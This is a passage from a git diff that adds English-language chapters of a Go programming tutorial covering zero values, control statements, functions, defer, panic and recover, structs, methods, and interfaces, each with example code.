underlying data of +these three types must be initialized before they point to them. For example, a `slice` contains a pointer that points to +the underlying `array`, length and capacity. Before these data are initialized, `slice` is `nil`, so for `slice`, `map` +and `channel`, `make` initializes their underlying data and assigns some suitable values. + +`make` returns non-zero values. + +The following picture shows how `new` and `make` are different. + +![](images/2.2.makenew.png?raw=true) + +Figure 2.5 Underlying memory allocation of make and new + +Zero-value does not mean empty value. It's the value that variables default to in most cases. Here is a list of some zero-values. +```Go +int 0 +int8 0 +int32 0 +int64 0 +uint 0x0 +rune 0 // the actual type of rune is int32 +byte 0x0 // the actual type of byte is uint8 +float32 0 // length is 4 byte +float64 0 //length is 8 byte +bool false +string "" +``` +## Links + +- [Directory](preface.md) +- Previous section: ["Hello, Go"](02.1.md) +- Next section: [Control statements and functions](02.3.md) diff --git a/th/02.3.md b/th/02.3.md new file mode 100644 index 000000000..43e2f79ff --- /dev/null +++ b/th/02.3.md @@ -0,0 +1,528 @@ +# 2.3 Control statements and functions + +In this section, we are going to talk about control statements and function operations in Go. + +## Control statement + +The greatest invention in programming is flow control. Because of them, you are able to use simple control statements that can be used to represent complex logic. There are three categories of flow control: conditional, cycle control and unconditional jump. + +### if + +`if` will most likely be the most common keyword in your programs. If it meets the conditions, then it does something and it does something else if not. + +`if` doesn't need parentheses in Go. +```Go +if x > 10 { + fmt.Println("x is greater than 10") +} else { + fmt.Println("x is less than or equal to 10") +} +``` +The most useful thing concerning `if` in Go is that it can have one initialization statement before the conditional statement. The scope of the variables defined in this initialization statement are only available inside the block of the defining `if`. +```Go +// initialize x, then check if x greater than +if x := computedValue(); x > 10 { + fmt.Println("x is greater than 10") +} else { + fmt.Println("x is less than 10") +} + +// the following code will not compile +fmt.Println(x) +``` +Use if-else for multiple conditions. +```Go +if integer == 3 { + fmt.Println("The integer is equal to 3") +} else if integer < 3 { + fmt.Println("The integer is less than 3") +} else { + fmt.Println("The integer is greater than 3") +} +``` +### goto + +Go has a `goto` keyword, but be careful when you use it. `goto` reroutes the control flow to a previously defined `label` within the body of same code block. +```Go +func myFunc() { + i := 0 +Here: // label ends with ":" + fmt.Println(i) + i++ + goto Here // jump to label "Here" +} +``` +The label name is case sensitive. + +### for + +`for` is the most powerful control logic in Go. It can read data in loops and iterative operations, just like `while`. +```Go +for expression1; expression2; expression3 { + //... +} +``` +`expression1`, `expression2` and `expression3` are all expressions, where `expression1` and `expression3` are variable definitions or return values from functions, and `expression2` is a conditional statement. `expression1` will be executed once before looping, and `expression3` will be executed after each loop. + +Examples are more useful than words. +```Go +package main + +import "fmt" + +func main(){ + sum := 0; + for index:=0; index < 10 ; index++ { + sum += index + } + fmt.Println("sum is equal to ", sum) +} +// Print:sum is equal to 45 +``` +Sometimes we need multiple assignments, but Go doesn't have the `,` operator, so we use parallel assignment like `i, j = i + 1, j - 1`. + +We can omit `expression1` and `expression3` if they are not necessary. +```Go +sum := 1 +for ; sum < 1000; { + sum += sum +} +``` +Omit `;` as well. Feel familiar? Yes, it's identical to `while`. +```Go +sum := 1 +for sum < 1000 { + sum += sum +} +``` +There are two important operations in loops which are `break` and `continue`. `break` jumps out of the loop, and `continue` skips the current loop and starts the next one. If you have nested loops, use `break` along with labels. +```Go +for index := 10; index>0; index-- { + if index == 5{ + break // or continue + } + fmt.Println(index) +} +// break prints 10、9、8、7、6 +// continue prints 10、9、8、7、6、4、3、2、1 +``` +`for` can read data from `array`, `slice`, `map` and `string` when it is used together with `range`. +```Go +for k,v := range map { + fmt.Println("map's key:",k) + fmt.Println("map's val:",v) +} +``` +Because Go supports multi-value returns and gives compile errors when you don't use values that were defined, you may want to use `_` to discard certain return values. +```Go +for _, v := range map{ + fmt.Println("map's val:", v) +} +``` + +With go you can as well create an infinite loop, which is equivalent to `while true { ... }` in other languges. + +```GO +for { + // your logic +} +``` +### switch + +Sometimes you may find that you are using too many `if-else` statements to implement some logic, which may make it difficult to read and maintain in the future. This is the perfect time to use the `switch` statement to solve this problem. +```Go +switch sExpr { +case expr1: + some instructions +case expr2: + some other instructions +case expr3: + some other instructions +default: + other code +} +``` +The type of `sExpr`, `expr1`, `expr2`, and `expr3` must be the same. `switch` is very flexible. Conditions don't have to be constants and it executes from top to bottom until it matches conditions. If there is no statement after the keyword `switch`, then it matches `true`. +```Go +i := 10 +switch i { +case 1: + fmt.Println("i is equal to 1") +case 2, 3, 4: + fmt.Println("i is equal to 2, 3 or 4") +case 10: + fmt.Println("i is equal to 10") +default: + fmt.Println("All I know is that i is an integer") +} +``` +In the fifth line, we put many values in one `case`, and we don't need to add the `break` keyword at the end of `case`'s body. It will jump out of the switch body once it matched any case. If you want to continue to matching more cases, you need to use the`fallthrough` statement. +```Go +integer := 6 +switch integer { +case 4: + fmt.Println("integer <= 4") + fallthrough +case 5: + fmt.Println("integer <= 5") + fallthrough +case 6: + fmt.Println("integer <= 6") + fallthrough +case 7: + fmt.Println("integer <= 7") + fallthrough +case 8: + fmt.Println("integer <= 8") + fallthrough +default: + fmt.Println("default case") +} +``` +This program prints the following information. +```Go +integer <= 6 +integer <= 7 +integer <= 8 +default case +``` +## Functions + +Use the `func` keyword to define a function. +```Go +func funcName(input1 type1, input2 type2) (output1 type1, output2 type2) { + // function body + // multi-value return + return value1, value2 +} +``` +We can extrapolate the following information from the example above. + +- Use keyword `func` to define a function `funcName`. +- Functions have zero, one or more than one arguments. The argument type comes after the argument name and arguments are separated by `,`. +- Functions can return multiple values. +- There are two return values named `output1` and `output2`, you can omit their names and use their type only. +- If there is only one return value and you omitted the name, you don't need brackets for the return values. +- If the function doesn't have return values, you can omit the return parameters altogether. +- If the function has return values, you have to use the `return` statement somewhere in the body of the function. + +Let's see one practical example. (calculate maximum value) +```Go +package main + +import "fmt" + +// return greater value between a and b +func max(a, b int) int { + if a > b { + return a + } + return b +} + +func main() { + x := 3 + y := 4 + z := 5 + + max_xy := max(x, y) // call function max(x, y) + max_xz := max(x, z) // call function max(x, z) + + fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy) + fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz) + fmt.Printf("max(%d, %d) = %d\n", y, z, max(y, z)) // call function here +} +``` + +In the above example, there are two arguments in the function `max`, their types are both `int` so the first type can be omitted. For instance, `a, b int` instead of `a int, b int`. The same rules apply for additional arguments. Notice here that `max` only has one return value, so we only need to write the type of its return value -this is the short form of writing it. + +### Multi-value return + +One thing that Go is better at than C is that it supports multi-value returns. + +We'll use the following example here. +```Go +package main + +import "fmt" + +// return results of A + B and A * B +func SumAndProduct(A, B int) (int, int) { + return A + B, A * B +} + +func main() { + x := 3 + y := 4 + + xPLUSy, xTIMESy := SumAndProduct(x, y) + + fmt.Printf("%d + %d = %d\n", x, y, xPLUSy) + fmt.Printf("%d * %d = %d\n", x, y, xTIMESy) +} +``` +The above example returns two values without names -you have the option of naming them also. If we named the return values, we would just need to use `return` to return the values since they are initialized in the function automatically. Notice that if your functions are going to be used outside of the package, which means your function names start with a capital letter, you'd better write complete statements for `return`; it makes your code more readable. +```Go +func SumAndProduct(A, B int) (add int, multiplied int) { + add = A+B + multiplied = A*B + return +} +``` +### Variadic functions + +Go supports functions with a variable number of arguments. These functions are called "variadic", which means the function allows an uncertain numbers of arguments. +```Go +func myfunc(arg ...int) {} +``` +`arg …int` tells Go that this is a function that has variable arguments. Notice that these arguments are type `int`. In the body of function, the `arg` becomes a `slice` of `int`. +```Go +for _, n := range arg { + fmt.Printf("And the number is: %d\n", n) +} +``` +### Pass by value and pointers + +When we pass an argument to the function that was called, that function actually gets the copy of our variables so any change will not affect to the original variable. + +Let's see one example in order to prove what i'm saying. +```Go +package main + +import "fmt" + +// simple function to add 1 to a +func add1(a int) int { + a = a + 1 // we change value of a + return a // return new value of a +} + +func main() { + x := 3 + + fmt.Println("x = ", x) // should print "x = 3" + + x1 := add1(x) // call add1(x) + + fmt.Println("x+1 = ", x1) // should print "x+1 = 4" + fmt.Println("x = ", x) // should print "x = 3" +} +``` +Can you see that? Even though we called `add1` with `x`, the origin value of `x` doesn't change. + +The reason is very simple: when we called `add1`, we gave a copy of `x` to it, not the `x` itself. + +Now you may ask how I can pass the real `x` to the function. + +We need use pointers here. We know variables are stored in memory and they have some memory addresses. So, if we want to change the value of a variable, we must change its memory address. Therefore the function `add1` has to know the memory address of `x` in order to change its value. Here we pass `&x` to the function, and change the argument's type to the pointer type `*int`. Be aware that we pass a copy of the pointer, not copy of value. +```Go +package main + +import "fmt" + +// simple function to add 1 to a +func add1(a *int) int { + *a = *a + 1 // we changed value of a + return *a // return new value of a +} + +func main() { + x := 3 + + fmt.Println("x = ", x) // should print "x = 3" + + x1 := add1(&x) // call add1(&x) pass memory address of x + + fmt.Println("x+1 = ", x1) // should print "x+1 = 4" + fmt.Println("x = ", x) // should print "x = 4" +} + +``` +Now we can change the value of `x` in the functions. Why do we use pointers? What are the advantages? + +- Allows us to use more functions to operate on one variable. +- Low cost by passing memory addresses (8 bytes), copy is not an efficient way, both in terms of time and space, to pass variables. +- `channel`, `slice` and `map` are reference types, so they use pointers when passing to functions by default. (Attention: If you need to change the length of `slice`, you have to pass pointers explicitly) + +### defer + +Go has a well designed keyword called `defer`. You can have many `defer` statements in one function; they will execute in reverse order when the program executes to the end of functions. In the case where the program opens some resource files, these files would have to be closed before the function can return with errors. Let's see some examples. +```Go +func ReadWrite() bool { + file.Open("file") + // Do some work + if failureX { + file.Close() + return false + } + + if failureY { + file.Close() + return false + } + + file.Close() + return true +} +``` +We saw some code being repeated several times. `defer` solves this problem very well. It doesn't only help you to write clean code but also makes your code more readable. +```Go +func ReadWrite() bool { + file.Open("file") + defer file.Close() + if failureX { + return false + } + if failureY { + return false + } + return true +} +``` +If there are more than one `defer`s, they will execute by reverse order. The following example will print `4 3 2 1 0`. +```Go +for i := 0; i < 5; i++ { + defer fmt.Printf("%d ", i) +} +``` +### Functions as values and types + +Functions are also variables in Go, we can use `type` to define them. Functions that have the same signature can be seen as the same type. +```Go +type typeName func(input1 inputType1 , input2 inputType2 [, ...]) (result1 resultType1 [, ...]) +``` +What's the advantage of this feature? The answer is that it allows us to pass functions as values. +```Go +package main + +import "fmt" + +type testInt func(int) bool // define a function type of variable + +func isOdd(integer int) bool { + return integer%2 != 0 +} + +func isEven(integer int) bool { + return integer%2 == 0 +} + +// pass the function `f` as an argument to another function +func filter(slice []int, f testInt) []int { + var result []int + for _, value := range slice { + if f(value) { + result = append(result, value) + } + } + return result +} + +var slice = []int{1, 2, 3, 4, 5, 7} + +func main() { + odd := filter(slice, isOdd) + even := filter(slice, isEven) + + fmt.Println("slice = ", slice) + fmt.Println("Odd elements of slice are: ", odd) + fmt.Println("Even elements of slice are: ", even) +} +``` + +It's very useful when we use interfaces. As you can see `testInt` is a variable that has a function as type and the returned values and arguments of `filter` are the same as those of `testInt`. Therefore, we can have complex logic in our programs, while maintaining flexibility in our code. + +### Panic and Recover + +Go doesn't have `try-catch` structure like Java does. Instead of throwing exceptions, Go uses `panic` and `recover` to deal with errors. However, you shouldn't use `panic` very much, although it's powerful. + +`Panic` is a built-in function to break the normal flow of programs and get into panic status. When a function `F` calls `panic`, `F` will not continue executing but its `defer` functions will continue to execute. Then `F` goes back to the break point which caused the panic status. The program will not terminate until all of these functions return with panic to the first level of that `goroutine`. `panic` can be produced by calling `panic` in the program, and some errors also cause `panic` like array access out of bounds errors. + +`Recover` is a built-in function to recover `goroutine`s from panic status. Calling `recover` in `defer` functions is useful because normal functions will not be executed when the program is in the panic status. It catches `panic` values if the program is in the panic status, and it gets `nil` if the program is not in panic status. + +The following example shows how to use `panic`. +```Go +var user = os.Getenv("USER") + +func init() { + if user == "" { + panic("no value for $USER") + } +} +``` +The following example shows how to check `panic`. +```Go +func throwsPanic(f func()) (b bool) { + defer func() { + if x := recover(); x != nil { + b = true + } + }() + f() // if f causes panic, it will recover + return +} +``` +### `main` function and `init` function + +Go has two retentions which are called `main` and `init`, where `init` can be used in all packages and `main` can only be used in the `main` package. These two functions are not able to have arguments or return values. Even though we can write many `init` functions in one package, I strongly recommend writing only one `init` function for each package. + +Go programs will call `init()` and `main()` automatically, so you don't need to call them by yourself. For every package, the `init` function is optional, but `package main` has one and only one `main` function. + +Programs initialize and begin execution from the `main` package. If the `main` package imports other packages, they will be imported in the compile time. If one package is imported many times, it will be only compiled once. After importing packages, programs will initialize the constants and variables within the imported packages, then execute the `init` function if it exists, and so on. After all the other packages are initialized, programs will initialize constants and variables in the `main` package, then execute the `init` function inside the package if it exists. The following figure shows the process. + +![](images/2.3.init.png?raw=true) + +Figure 2.6 Flow of programs initialization in Go + +### import + +We use `import` very often in Go programs as follows. +```Go +import( + "fmt" +) +``` +Then we use functions in that package as follows. +```Go +fmt.Println("hello world") +``` +`fmt` is from Go standard library, it is located within $GOROOT/pkg. Go supports third-party packages in two ways. + +1. Relative path + import "./model" // load package in the same directory, I don't recommend this way. +2. Absolute path + import "shorturl/model" // load package in path "$GOPATH/pkg/shorturl/model" + +There are some special operators when we import packages, and beginners are always confused by these operators. + +1. Dot operator. + Sometime we see people use following way to import packages. +```Go +import( + . "fmt" +) +``` + The dot operator means you can omit the package name when you call functions inside of that package. Now `fmt.Printf("Hello world")` becomes to `Printf("Hello world")`. +2. Alias operation. + It changes the name of the package that we imported when we call functions that belong to that package. +```Go +import( + f "fmt" +) +``` + Now `fmt.Printf("Hello world")` becomes to `f.Printf("Hello world")`. +3. `_` operator. + This is the operator that is difficult to understand without someone explaining it to you. +```Go +import ( + "database/sql" + _ "github.com/ziutek/mymysql/godrv" +) +``` + The `_` operator actually means we just want to import that package and execute its `init` function, and we are not sure if we want to use the functions belonging to that package. + +## Links + +- [Directory](preface.md) +- Previous section: [Go foundation](02.2.md) +- Next section: [struct](02.4.md) diff --git a/th/02.4.md b/th/02.4.md new file mode 100644 index 000000000..031ce05d9 --- /dev/null +++ b/th/02.4.md @@ -0,0 +1,214 @@ +# 2.4 struct + +## struct + +We can define new types of containers of other properties or fields in Go just like in other programming languages. For example, we can create a type called `person` to represent a person, with fields name and age. We call this kind of type a `struct`. +```Go +type person struct { + name string + age int +} +``` +Look how easy it is to define a `struct`! + +There are two fields. + +- `name` is a `string` used to store a person's name. +- `age` is a `int` used to store a person's age. + +Let's see how to use it. +```Go +type person struct { + name string + age int +} + +var P person // p is person type + +P.name = "Astaxie" // assign "Astaxie" to the field 'name' of p +P.age = 25 // assign 25 to field 'age' of p +fmt.Printf("The person's name is %s\n", P.name) // access field 'name' of p +``` +There are three more ways to initialize a struct. + +- Assign initial values by order +```Go +P := person{"Tom", 25} +``` +- Use the format `field:value` to initialize the struct without order +```Go +P := person{age:24, name:"Bob"} +``` +- Define an anonymous struct, then initialize it +```Go +P := struct{name string; age int}{"Amy",18} +``` +Let's see a complete example. + +```Go +package main + +import "fmt" + +// define a new type +type person struct { + name string + age int +} + +// struct is passed by value +// compare the age of two people, then return the older person and differences of age +func Older(p1, p2 person) (person, int) { + if p1.age > p2.age { + return p1, p1.age - p2.age + } + return p2, p2.age - p1.age +} + +func main() { + var tom person + + tom.name, tom.age = "Tom", 18 + bob := person{age: 25, name: "Bob"} + paul := person{"Paul", 43} + + tb_Older, tb_diff := Older(tom, bob) + tp_Older, tp_diff := Older(tom, paul) + bp_Older, bp_diff := Older(bob, paul) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, bob.name, tb_Older.name, tb_diff) + fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, paul.name, tp_Older.name, tp_diff) + fmt.Printf("Of %s and %s, %s is older by %d years\n", bob.name, paul.name, bp_Older.name, bp_diff) +} +``` +### embedded fields in struct + +I've just introduced to you how to define a struct with field names and type. In fact, Go supports fields without names, but with types. We call these embedded fields. + +When the embedded field is a struct, all the fields in that struct will implicitly be the fields in the struct in which it has been embedded. + +Let's see one example. +```Go +package main + +import "fmt" + +type Human struct { + name string + age int + weight int +} + +type Student struct { + Human // embedded field, it means Student struct includes all fields that Human has. + specialty string +} + +func main() { + // instantiate and initialize a student + mark := Student{Human{"Mark", 25, 120}, "Computer Science"} + + // access fields + fmt.Println("His name is ", mark.name) + fmt.Println("His age is ", mark.age) + fmt.Println("His weight is ", mark.weight) + fmt.Println("His specialty is ", mark.specialty) + + // modify mark's specialty + mark.specialty = "AI" + fmt.Println("Mark changed his specialty") + fmt.Println("His specialty is ", mark.specialty) + + fmt.Println("Mark become old. He is not an athlete anymore") + mark.age = 46 + mark.weight += 60 + fmt.Println("His age is", mark.age) + fmt.Println("His weight is", mark.weight) +} + +``` +![](images/2.4.student_struct.png?raw=true) + +Figure 2.7 Embedding in Student and Human + +We see that we can access the `age` and `name` fields in Student just like we can in Human. This is how embedded fields work. It's very cool, isn't it? Hold on, there's something cooler! You can even use Student to access Human in this embedded field! +```Go +mark.Human = Human{"Marcus", 55, 220} +mark.Human.age -= 1 +``` +All the types in Go can be used as embedded fields. +```Go +package main + +import "fmt" + +type Skills []string + +type Human struct { + name string + age int + weight int +} + +type Student struct { + Human // struct as embedded field + Skills // string slice as embedded field + int // built-in type as embedded field + specialty string +} + +func main() { + // initialize Student Jane + jane := Student{Human: Human{"Jane", 35, 100}, specialty: "Biology"} + // access fields + fmt.Println("Her name is ", jane.name) + fmt.Println("Her age is ", jane.age) + fmt.Println("Her weight is ", jane.weight) + fmt.Println("Her specialty is ", jane.specialty) + // modify value of skill field + jane.Skills = []string{"anatomy"} + fmt.Println("Her skills are ", jane.Skills) + fmt.Println("She acquired two new ones ") + jane.Skills = append(jane.Skills, "physics", "golang") + fmt.Println("Her skills now are ", jane.Skills) + // modify embedded field + jane.int = 3 + fmt.Println("Her preferred number is ", jane.int) +} + +``` +In the above example, we can see that all types can be embedded fields and we can use functions to operate on them. + +There is one more problem however. If Human has a field called `phone` and Student has a field with same name, what should we do? + +Go use a very simple way to solve it. The outer fields get upper access levels, which means when you access `student.phone`, we will get the field called phone in student, not the one in the Human struct. This feature can be simply seen as field `overload`ing. +```Go +package main + +import "fmt" + +type Human struct { + name string + age int + phone string // Human has phone field +} + +type Employee struct { + Human + specialty string + phone string // phone in employee +} + +func main() { + Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"} + + fmt.Println("Bob's work phone is:", Bob.phone) + fmt.Println("Bob's personal phone is:", Bob.Human.phone) +} + +``` +## Links + +- [Directory](preface.md) +- Previous section: [Control statements and functions](02.3.md) +- Next section: [Object-oriented](02.5.md) diff --git a/th/02.5.md b/th/02.5.md new file mode 100644 index 000000000..d0d45853b --- /dev/null +++ b/th/02.5.md @@ -0,0 +1,321 @@ +# Object-oriented + +We talked about functions and structs in the last two sections, but did you ever consider using functions as fields of a struct? In this section, I will introduce you to another form of function that has a receiver, which is called a `method`. + +## method + +Suppose you define a "rectangle" struct and you want to calculate its area. We'd typically use the following code to achieve this goal. +```Go +package main + +import "fmt" + +type Rectangle struct { + width, height float64 +} + +func area(r Rectangle) float64 { + return r.width * r.height +} + +func main() { + r1 := Rectangle{12, 2} + r2 := Rectangle{9, 4} + fmt.Println("Area of r1 is: ", area(r1)) + fmt.Println("Area of r2 is: ", area(r2)) +} + +``` +The above example can calculate a rectangle's area. We use the function called `area`, but it's not a method of the rectangle struct (like class methods in classic object-oriented languages). The function and struct are two independent things as you may notice. + +It's not a problem so far. However, if you also have to calculate the area of a circle, square, pentagon, or any other kind of shape, you are going to need to add additional functions with very similar names. + +![](images/2.5.rect_func_without_receiver.png?raw=true) + +Figure 2.8 Relationship between function and struct + +Obviously that's not cool. Also, the area should really be the property of a circle or rectangle. + +This is where a `method` comes to play. The `method` is a function affiliated with a type. It has similar syntax as function except, after the `func` keyword has a parameter called the `receiver`, which is the main body of that method. + +Using the same example, `Rectangle.Area()` belongs directly to rectangle, instead of as a peripheral function. More specifically, `length`, `width` and `Area()` all belong to rectangle. + +As Rob Pike said. + + "A method is a function with an implicit first argument, called a receiver." + +Syntax of method. +```Go +func (r ReceiverType) funcName(parameters) (results) +``` +Let's change our example using `method` instead. +```Go +package main + +import ( + "fmt" + "math" +) + +type Circle struct { + radius float64 +} + +type Rectangle struct { + width, height float64 +} + +// method +func (c Circle) Area() float64 { + return c.radius * c.radius * math.Pi +} + +// method +func (r Rectangle) Area() float64 { + return r.width * r.height +} + +func main() { + c1 := Circle{10} + c2 := Circle{25} + r1 := Rectangle{9, 4} + r2 := Rectangle{12, 2} + + fmt.Println("Area of c1 is: ", c1.Area()) + fmt.Println("Area of c2 is: ", c2.Area()) + fmt.Println("Area of r1 is: ", r1.Area()) + fmt.Println("Area of r2 is: ", r2.Area()) +} +``` + +Notes for using methods. + +- If the name of methods are the same but they don't share the same receivers, they are not the same. +- Methods are able to access fields within receivers. +- Use `.` to call a method in the struct, the same way fields are called. + +![](images/2.5.shapes_func_with_receiver_cp.png?raw=true) + +Figure 2.9 Methods are different in different structs + +In the example above, the Area() methods belong to both Rectangle and Circle respectively, so the receivers are Rectangle and Circle. + +One thing that's worth noting is that the method with a dotted line means the receiver is passed by value, not by reference. The difference between them is that a method can change its receiver's values when the receiver is passed by reference, and it gets a copy of the receiver when the receiver is passed by value. + +Can the receiver only be a struct? Of course not. Any type can be the receiver of a method. You may be confused about customized types. Struct is a special kind of customized type -there are more customized types. + +Use the following format to define a customized type. +```Go +type typeName typeLiteral +``` +Examples of customized types: + +```Go +type age int +type money float32 +type months map[string]int + +m := months { + "January":31, + "February":28, + ... + "December":31, +} +``` + +I hope that you know how to use customized types now. Similar to `typedef` in C, we use `ages` to substitute `int` in the above example. + +Let's get back to talking about `method`. + +You can use as many methods in custom types as you want. +```Go +package main + +import "fmt" + +const ( + WHITE = iota + BLACK + BLUE + RED + YELLOW +) + +type Box struct { + width, height, depth float64 + color Color +} +type Color byte +type BoxList []Box //a slice of boxes + +// method +func (b Box) Volume() float64 { + return b.width * b.height * b.depth +} + +// method with a pointer receiver +func (b *Box) SetColor(c Color) { + b.color = c +} + +// method +func (bl BoxList) BiggestsColor() Color { + v := 0.00 + k := Color(WHITE) + for _, b := range bl { + if b.Volume() > v { + v = b.Volume() + k = b.color + } + } + return k +} + +// method +func (bl BoxList) PaintItBlack() { + for i, _ := range bl { + bl[i].SetColor(BLACK) + } +} + +// method +func (c Color) String() string { + strings := []string{"WHITE", "BLACK", "BLUE", "RED", "YELLOW"} + return strings[c] +} + +func main() { + boxes := BoxList{ + Box{4, 4, 4, RED}, + Box{10, 10, 1, YELLOW}, + Box{1, 1, 20, BLACK}, + Box{10, 10, 1, BLUE}, + Box{10, 30, 1, WHITE}, + Box{20, 20, 20, YELLOW}, + } + + fmt.Printf("We have %d boxes in our set\n", len(boxes)) + fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³") + fmt.Println("The color of the last one is", boxes[len(boxes)-1].color.String()) + fmt.Println("The biggest one is", boxes.BiggestsColor().String()) + + // Let's paint them all black + boxes.PaintItBlack() + + fmt.Println("The color of the second one is", boxes[1].color.String()) + fmt.Println("Obviously, now, the biggest one is", boxes.BiggestsColor().String()) +} +``` + +We define some constants and customized types. + +- Use `Color` as alias of `byte`. +- Define a struct `Box` which has fields height, width, length and color. +- Define a struct `BoxList` which has `Box` as its field. + +Then we defined some methods for our customized types. + +- `Volume()` uses Box as its receiver and returns the volume of Box. +- `SetColor(c Color)` changes Box's color. +- `BiggestsColor()` returns the color which has the biggest volume. +- `PaintItBlack()` sets color for all Box in BoxList to black. +- `String()` use Color as its receiver, returns the string format of color name. + +Is it much clearer when we use words to describe our requirements? We often write our requirements before we start coding. + +### Use pointer as receiver + +Let's take a look at `SetColor` method. Its receiver is a pointer of Box. Yes, you can use `*Box` as a receiver. Why do we use a pointer here? Because we want to change Box's color in this method. Thus, if we don't use a pointer, it will only change the value inside a copy of Box. + +If we see that a receiver is the first argument of a method, it's not hard to understand how it works. + +You might be asking why we aren't using `(*b).Color=c` instead of `b.Color=c` in the `SetColor()` method. Either one is OK here because Go knows how to interpret the assignment. Do you think Go is more fascinating now? + +You may also be asking whether we should use `(&bl[i]).SetColor(BLACK)` in `PaintItBlack` because we pass a pointer to `SetColor`. Again, either one is OK because Go knows how to interpret it! + +### Inheritance of method + +We learned about inheritance of fields in the last section. Similarly, we also have method inheritance in Go. If an anonymous field has methods, then the struct that contains the field will have all the methods from it as well. +```Go +package main + +import "fmt" + +type Human struct { + name string + age int + phone string +} + +type Student struct { + Human // anonymous field + school string +} + +type Employee struct { + Human + company string +} + +// define a method in Human +func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} + +func main() { + sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} + + sam.SayHi() + mark.SayHi() +} +``` +### Method Overriding + +If we want Employee to have its own method `SayHi`, we can define a method that has the same name in Employee, and it will hide `SayHi` in Human when we call it. +```Go +package main + +import "fmt" + +type Human struct { + name string + age int + phone string +} + +type Student struct { + Human + school string +} + +type Employee struct { + Human + company string +} + +func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} + +func (e *Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //Yes you can split into 2 lines here. +} + +func main() { + sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} + + sam.SayHi() + mark.SayHi() +} + +``` +You are able to write an Object-oriented program now, and methods use rule of capital letter to decide whether public or private as well. + +## Links + +- [Directory](preface.md) +- Previous section: [struct](02.4.md) +- Next section: [interface](02.6.md) diff --git a/th/02.6.md b/th/02.6.md new file mode 100644 index 000000000..b2e82f5f9 --- /dev/null +++ b/th/02.6.md @@ -0,0 +1,406 @@ +# 2.6 Interface + +## Interface + +One of the subtlest design features in Go are interfaces. After reading this section, you will likely be impressed by their implementation. + +### What is an interface + +In short, an interface is a set of methods that we use to define a set of actions. + +Like the examples in previous sections, both Student and Employee can `SayHi()`, but they don't do the same thing. + +Let's do some more work. We'll add one more method `Sing()` to them, along with the `BorrowMoney()` method to Student and the `SpendSalary()` method to Employee. + +Now, Student has three methods called `SayHi()`, `Sing()` and `BorrowMoney()`, and Employee has `SayHi()`, `Sing()` and `SpendSalary()`. + +This combination of methods is called an interface and is implemented by both Student and Employee. So, Student and Employee implement the interface: `SayHi()` and `Sing()`. At the same time, Employee doesn't implement the interface: `BorrowMoney()`, and Student doesn't implement the interface: `SpendSalary()`. This is because Employee doesn't have the method `BorrowMoney()` and Student doesn't have the method `SpendSalary()`. + +### Type of Interface + +An interface defines a set of methods, so if a type implements all the methods we say that it implements the interface. +```Go +type Human struct { + name string + age int + phone string +} + +type Student struct { + Human + school string + loan float32 +} + +type Employee struct { + Human + company string + money float32 +} + +// define interfaces +type Men interface { + SayHi() + Sing(lyrics string) + Guzzle(beerStein string) +} + +type YoungChap interface { + SayHi() + Sing(song string) + BorrowMoney(amount float32) +} + +type ElderlyGent interface { + SayHi() + Sing(song string) + SpendSalary(amount float32) +} + +func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} + +func (h *Human) Sing(lyrics string) { + fmt.Println("La la, la la la, la la la la la...", lyrics) +} + +func (h *Human) Guzzle(beerStein string) { + fmt.Println("Guzzle Guzzle Guzzle...", beerStein) +} + +// Employee overloads SayHi +func (e *Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //Yes you can split into 2 lines here. +} + +func (s *Student) BorrowMoney(amount float32) { + s.loan += amount // (again and again and...) +} + +func (e *Employee) SpendSalary(amount float32) { + e.money -= amount // More vodka please!!! Get me through the day! +} +``` +We know that an interface can be implemented by any type, and one type can implement many interfaces simultaneously. + +Note that any type implements the empty interface `interface{}` because it doesn't have any methods and all types have zero methods by default. + +### Value of interface + +So what kind of values can be put in the interface? If we define a variable as a type interface, any type that implements the interface can assigned to this variable. + +Like the above example, if we define a variable "m" as interface Men, then any one of Student, Human or Employee can be assigned to "m". So we could have a slice of Men, and any type that implements interface Men can assign to this slice. Be aware however that the slice of interface doesn't have the same behavior as a slice of other types. +```Go +package main + +import "fmt" + +type Human struct { + name string + age int + phone string +} + +type Student struct { + Human + school string + loan float32 +} + +type Employee struct { + Human + company string + money float32 +} + +// Interface Men implemented by Human, Student and Employee +type Men interface { + SayHi() + Sing(lyrics string) +} + +// method +func (h Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} + +// method +func (h Human) Sing(lyrics string) { + fmt.Println("La la la la...", lyrics) +} + +// method +func (e Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //Yes you can split into 2 lines here. +} + +func main() { + mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00} + paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100} + sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000} + tom := Employee{Human{"Tom", 36, "444-222-XXX"}, "Things Ltd.", 5000} + + // define interface i + var i Men + + //i can store Student + i = mike + fmt.Println("This is Mike, a Student:") + i.SayHi() + i.Sing("November rain") + + //i can store Employee + i = tom + fmt.Println("This is Tom, an Employee:") + i.SayHi() + i.Sing("Born to be wild") + + // slice of Men + fmt.Println("Let's use a slice of Men and see what happens") + x := make([]Men, 3) + // these three elements are different types but they all implemented interface Men + x[0], x[1], x[2] = paul, sam, mike + + for _, value := range x { + value.SayHi() + } +} +``` +An interface is a set of abstract methods, and can be implemented by non-interface types. It cannot therefore implement itself. + +### Empty interface + +An empty interface is an interface that doesn't contain any 